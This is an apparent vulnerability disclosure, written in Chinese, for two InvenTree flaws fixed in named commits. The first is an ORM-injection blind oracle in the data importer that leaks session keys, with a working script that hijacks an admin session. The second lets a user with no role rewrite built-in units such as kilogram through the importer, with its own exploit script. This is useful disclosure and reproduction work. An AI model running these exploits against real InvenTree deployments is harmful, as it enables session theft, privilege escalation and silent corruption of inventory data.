InvenTree 漏洞报告

软件名称:InvenTree

开发者或厂商:InvenTree

代码仓库:https://github.com/inventree/InvenTree

1. 数据导入器布尔盲注导致劫持其他用户会话

简要描述:登录用户向数据导入器的 field_filters 注入 ORM 查询路径,获得其他用户的 Django 会话 key,并接管该用户的会话。
影响版本:1.3.0 ~ 1.6.3
前置条件:攻击者拥有 stock.change_stockitemtestresult 权限(即 Stock 角色的 change 权限);目标用户存在活跃的 Web 会话。
修复:InvenTree commit 2629cde

漏洞成因

DataImportSession.field_filters 是登录用户可写的 JSON 字段,序列化器只做 JSON 解析,不限制键名。相关代码如下:

# src/backend/InvenTree/importer/serializers.py:136-150    commit 221af32fdb
def validate_field_filters(self, filters):
    if filters is None:
        return None

    if type(filters) is not dict:
        try:
            filters = json.loads(str(filters))
        except json.JSONDecodeError:
            raise ValidationError(_('Invalid field filters'))

        if type(filters) is not dict:
            raise ValidationError(_('Invalid field filters'))

    return filters

导入行在解析关联字段时,把这个字典原样展开进 QuerySet.filter()。相关代码如下:

# src/backend/InvenTree/importer/models.py:886-920    commit 221af32fdb
base_filters = (
    self.session.field_filters.get(field_name, {})
    if self.session.field_filters
    else {}
)

...
queryset = model.objects.filter(**{lookup_field: value}, **base_filters)
results = list(queryset[:2])

if len(results) == 1:
    return results[0].pk

return value

查询命中唯一对象时返回整数主键,未命中时返回原始字符串。这个类型差异会写入 DataImportRow.data,攻击者通过 /api/importer/row/ 读取行数据即可得到布尔结果。

/api/importer/session/<pk>/accept_fields/ 只检查被导入模型的 change 权限(对 StockItemTestResult 即 stock.change_stockitemtestresult),不检查关联模型。相关代码如下:

# src/backend/InvenTree/importer/api.py:114-125    commit 221af32fdb
if model_class := session.model_class:
    if not check_user_permission(request.user, model_class, 'change'):
        raise PermissionDenied()

session.accept_mapping()

stockitemtestresult 是可导入模型,其 user 字段在导入场景下可写。相关代码如下:

# src/backend/InvenTree/stock/serializers.py:230-237    commit 221af32fdb
if not self._is_importing:
    self.fields['user'].read_only = True
    self.fields['date'].read_only = True

攻击者因此可以把 user 字段的过滤条件扩展到 User 的反向关系 usersession,对 UserSession.session_key 做前缀匹配。session_key 就是 Django 的 sessionid Cookie 值,拿到它即可复用目标用户的会话。

复现环境搭建

InvenTree 官方仓库在 contrib/container/ 下提供了 docker-compose.yml、Caddyfile 和 .env。下载 1.6.3 版本的这三个文件:

mkdir inventree && cd inventree
BASE=https://raw.githubusercontent.com/inventree/InvenTree/1.6.3/contrib/container
curl -fsSLO $BASE/docker-compose.yml
curl -fsSLO $BASE/Caddyfile
curl -fsSL -o .env $BASE/.env

修改 .env 中的版本、数据目录、Web 端口和管理员账号:

sed -i 's/^INVENTREE_TAG=.*/INVENTREE_TAG=1.6.3/; s#^INVENTREE_EXT_VOLUME=.*#INVENTREE_EXT_VOLUME=./data#' .env
cat >> .env <<EOF
INVENTREE_HTTP_PORT=19313
INVENTREE_ADMIN_USER=admin
INVENTREE_ADMIN_PASSWORD=Admin12345.
INVENTREE_ADMIN_EMAIL=admin@example.com
EOF

初始化数据库并启动服务:

docker compose run --rm inventree-server invoke update
docker compose up -d

等待 http://localhost:19313/api/ 返回 200。用 admin 登录 http://localhost:19313/web,在 Admin Center 创建两个用户。用户 ivan 加入一个拥有 stock.change_stockitemtestresult 权限的用户组(在 UI 中即 Stock 角色的 change 权限);用户 carol 不加入任何组。为两个用户分别设置密码 Ivan12345. 和 Carol12345.。

创建零件 Widget,描述填写 secret;创建库位 Loc;创建数量为 7 的库存项;在 Widget 上创建测试模板 voltage。保持 admin 的登录会话。

复现过程

攻击者使用 ivan 的账号。该账号拥有 stock.change_stockitemtestresult 权限,但没有 part.view_part 权限,GET /api/part/ 返回 403。下面的脚本先验证 oracle,再逐字符恢复会话 key:

# exploit.py
import json
import re
import string
import time

import httpx

BASE = 'http://localhost:19313'
ATTACKER = ('ivan', 'Ivan12345.')
CHARS = string.ascii_lowercase + string.digits


def probe(regex):
    with httpx.Client(base_url=BASE, auth=ATTACKER, timeout=30) as client:
        response = client.post(
            '/api/importer/session/',
            files={
                'data_file': (
                    'rows.csv',
                    'stock_item,template,user,result\n1,1,1,true\n',
                    'text/csv',
                )
            },
            data={
                'model_type': 'stockitemtestresult',
                'field_filters': json.dumps({
                    'user': {'usersession__session_key__regex': regex}
                }),
            },
        )
        response.raise_for_status()
        session = response.json()['pk']
        client.post(f'/api/importer/session/{session}/accept_fields/').raise_for_status()

        rows = []
        for _ in range(30):
            rows = client.get(f'/api/importer/row/?session={session}').json()
            if rows:
                break
            time.sleep(1)

        value = rows[0]['data'].get('user') if rows else None
        client.delete(f'/api/importer/session/{session}/')
        return value


def next_char(prefix):
    candidates = CHARS
    while len(candidates) > 1:
        middle = len(candidates) // 2
        left = candidates[:middle]
        pattern = '^' + re.escape(prefix) + '[' + re.escape(left) + ']'
        if probe(pattern) == 1:
            candidates = left
        else:
            candidates = candidates[middle:]
    return candidates


def main():
    print('hit ', repr(probe('^[a-z0-9]')))
    print('miss', repr(probe('^zzzz')))

    key = ''
    for _ in range(32):
        key += next_char(key)
        print('prefix', key)

    print('recovered', key)
    with httpx.Client(base_url=BASE, cookies={'sessionid': key}, timeout=30) as client:
        me = client.get('/api/user/me/').json()
        print('identity', me.get('username'), me.get('is_superuser'))
        print('admin_config', client.get('/api/admin/config/').status_code)


if __name__ == '__main__':
    main()

运行输出如下:

hit  1
miss '1'
prefix r
prefix rz
...
recovered 61mf3ss1shd2asvc4ms3sd4xn2xtew6i
identity admin True
admin_config 200

脚本在 192 次探测、约 279 秒内恢复出 32 位会话 key。最后两行表明,使用这个 key 作为 sessionid 时,接口返回的用户是 admin,且 is_superuser 为 True。

如果目标有多个活跃会话,User 到 UserSession 的连接会产生多行,lookup_related_field() 因结果不唯一而返回原始字符串,此时在 field_filters 中加入 usersession__id 限定单个会话即可,UserSession 的主键可以枚举。

在浏览器中打开开发者工具,在 localhost 下添加 Cookie sessionid,值为恢复出的 key,然后访问 http://localhost:19313/web。页面显示的管理员界面如下:

管理员会话

页面顶部显示 Superuser Mode,右上角用户名为 admin。整个过程中没有输入管理员口令。

2. 登录用户越权写入数据

简要描述:登录用户通过数据导入器绕过 staff-only 模型的角色校验,写入参考数据。以 CustomUnit 为例,零角色用户可以写入自定义单位并覆盖内置单位的定义,污染全局单位注册表。
影响版本:0.16.0 ~ 1.6.3
前置条件:攻击者拥有一个普通账号,不需要 is_staff,也不需要任何 InvenTree 角色。
修复:InvenTree commit bc8c1ae

漏洞成因

导入器在 accept_fields 中调用 check_user_permission()。该函数对 get_ruleset_ignore() 中的模型直接返回 True。相关代码如下:

# src/backend/InvenTree/users/permissions.py:163-167    commit 221af32fdb
table_name = f'{model._meta.app_label}_{model._meta.model_name}'

if table_name in get_ruleset_ignore():
    return True

get_ruleset_ignore() 包含 common_customunit、common_projectcode、common_parametertemplate、common_parameter、common_inventreecustomuserstatemodel、taggit_tag 等模型。相关代码如下:

# src/backend/InvenTree/users/ruleset.py:196-210    commit 221af32fdb
'common_attachment',
'common_parametertemplate',
'common_parameter',
'common_customunit',
'common_dataoutput',
...
'common_projectcode',
...
'common_inventreecustomuserstatemodel',

这些模型在各自的 REST 接口上要求 staff 权限。以 CustomUnit 为例,接口声明如下:

# src/backend/InvenTree/common/api.py:618-623    commit 221af32fdb
class CustomUnitViewset(DataExportViewMixin, viewsets.ModelViewSet):
    queryset = common.models.CustomUnit.objects.all()
    serializer_class = common.serializers.CustomUnitSerializer
    permission_classes = [IsStaffOrReadOnlyScope]

导入器对 CustomUnit 的 accept_fields 检查走的是 check_user_permission(),于是零角色用户可以直接通过导入器写入。在 0.16.x 中该端点甚至没有检查导入模型的 change 权限,0.17.0 起改为调用 check_user_permission(),但 common_customunit 位于忽略列表中,绕过依然成立,因此影响范围从 0.16.0 开始。

CustomUnit 在保存时会把自己拼进一个共享的 pint 注册表。相关代码如下:

# src/backend/InvenTree/common/models.py:1835-1842, 1879-1883    commit 221af32fdb
def fmt_string(self):
    fmt = f'{self.name} = {self.definition}'

    if self.symbol:
        fmt += f' = {self.symbol}'

    return fmt

...
registry.define(self.fmt_string())

validate_unique() 只检查其他 CustomUnit 行的 symbol,不检查内置单位。pint 允许把已有单位名当作别名,因此 symbol 填写 kilogram 时,kilogram 会被重新绑定到攻击者给出的定义。保存后 reload_unit_registry() 会从数据库重新加载所有 CustomUnit,恶意定义在服务重启后仍然生效。相关代码如下:

# src/backend/InvenTree/InvenTree/conversion.py:149-157    commit 221af32fdb
for cu in custom_units:
    try:
        fmt = cu.fmt_string()
        reg.define(fmt)

        hash_md5.update(fmt.encode('utf-8'))

    except Exception as e:
        logger.exception('Failed to load custom unit: %s - %s', cu.fmt_string(), e)

复现环境搭建

执行 docker compose down -v 并删除 data 目录,然后重新执行第 1 节的搭建步骤,只创建用户 carol,不加入任何组。该漏洞只依赖导入器和单位注册表,不需要零件、库存等示例数据。

复现过程

先确认 carol 没有写入 CustomUnit 的权限:

curl -s -o /dev/null -w '%{http_code}\n' \
  -u carol:Carol12345. \
  -H 'Content-Type: application/json' \
  -d '{"name":"directunit","symbol":"db","definition":"1"}' \
  http://localhost:19313/api/units/

返回 403。

接下来用同一个账号通过导入器写入。下面的脚本创建 customunit 导入会话,接受字段映射,然后提交行:

# exploit_customunit.py
import time

import httpx

BASE = 'http://localhost:19313'
ATTACKER = ('carol', 'Carol12345.')

with httpx.Client(base_url=BASE, auth=ATTACKER, timeout=30) as client:
    response = client.post(
        '/api/importer/session/',
        files={
            'data_file': (
                'units.csv',
                'name,symbol,definition\npwnunit,kilogram,1\n',
                'text/csv',
            )
        },
        data={'model_type': 'customunit'},
    )
    response.raise_for_status()
    session = response.json()['pk']

    client.post(f'/api/importer/session/{session}/accept_fields/').raise_for_status()

    rows = []
    for _ in range(30):
        rows = client.get(f'/api/importer/row/?session={session}').json()
        if rows:
            break
        time.sleep(1)

    print(rows[0]['data'])
    client.post(
        f'/api/importer/session/{session}/accept_rows/',
        json={'rows': [rows[0]['pk']]},
    ).raise_for_status()

    time.sleep(2)
    unit = client.get('/api/units/all/').json()['available_units']['kilogram']
    print({key: unit[key] for key in ('name', 'isdimensionless')})

输出如下:

{'name': 'pwnunit', 'symbol': 'kilogram', 'definition': '1'}
{'name': 'kilogram', 'isdimensionless': True}

kilogram 原本是有量纲的质量单位,现在被改成零维单位。任何使用 kilogram 的换算都会失败或得到错误结果。

重启服务后再次读取:

docker restart inventree-server
curl -s -u carol:Carol12345. http://localhost:19313/api/units/all/ \
  | jq '.available_units.kilogram | {name, isdimensionless}'

输出如下:

{
  "name": "kilogram",
  "isdimensionless": true
}

说明定义已经持久化。如果把 definition 从 1 改为 1 * gram,则 1 kilogram 会被换算为 1 gram,不会报错,所有以千克计的数量都会静默错误。管理员删除该 CustomUnit 行可以恢复,但在删除之前,错误换算会影响所有用户。